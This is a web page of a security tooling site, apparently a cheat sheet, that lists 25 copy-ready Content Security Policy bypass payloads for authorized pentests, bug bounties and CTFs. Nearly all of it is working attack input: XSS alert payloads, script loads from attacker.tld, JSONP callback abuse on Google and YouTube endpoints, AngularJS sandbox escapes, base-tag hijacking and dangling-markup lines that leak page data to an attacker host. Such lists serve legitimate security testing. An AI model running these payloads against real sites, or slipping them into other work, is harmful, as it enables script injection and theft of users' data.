Copy-ready techniques for bypassing Content Security Policy during authorized pentests, bug-bounty, and CTF/OSCP engagements. (25 payloads)
curl -sI https://target.tld/ | grep -i 'content-security-policy'https://csp-evaluator.withgoogle.com/ (or the Payload Playground CSP Evaluator tool)Content-Security-Policy-Report-Only: default-src 'self'; report-uri /cspdefault-src 'self' (no script-src, no object-src, no base-uri)<script>alert(document.domain)</script><img src=x onerror=alert(document.domain)><script>eval(location.hash.slice(1))</script> → #alert(document.domain)<script src=https://attacker.tld/x.js></script><script src=data:text/javascript,alert(document.domain)></script><script nonce="REUSED_NONCE">alert(document.domain)</script><script src="//attacker.tld/x.js" nonce="VALID_NONCE"></script><link rel=preload href=//attacker.tld nonce=VALID_NONCE> / nonce-leak via <script nonce=...> attribute exfil<script src="https://allowed-cdn.tld/known-lib.js?VALID_NONCE_OR_HASH"></script><script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(document.domain)"></script><script src="https://www.youtube.com/oembed?callback=alert(1)&url=https://youtu.be/x"></script><div ng-app ng-csp><div ng-click=$event.view.alert(1337)>click</div></div> + <script src="//ALLOWED_CDN/angular.min.js"></script><input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'"> (AngularJS sandbox-escape style)<x ng-app>{{constructor.constructor('alert(1)')()}}</x><script src=//ALLOWED_CDN/prototype.js></script> <script src=//ALLOWED_CDN/angular.js></script> (script-gadget chaining)<base href="https://attacker.tld/"><img src='https://attacker.tld/log?leak= (unclosed quote — dangling markup)<link rel=prefetch href="https://attacker.tld/?" (or <meta http-equiv=refresh ...) dangling sinkContent-Security-Policy: script-src 'self' → upload/host JS at https://target.tld/uploads/x.js then <script src=/uploads/x.js><script src="https://target.tld/redirect?url=https://attacker.tld/x.js"></script><script src="https://allowed-cdn.tld/some/../../path/x.js"> / ;%2f path tricksLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 25 CSP Bypass payloads for testing CSP Bypass vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the XSS Payload generator to build customized CSP Bypass variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all CSP Bypass payloads are completely free, with no account required. Everything runs in your browser.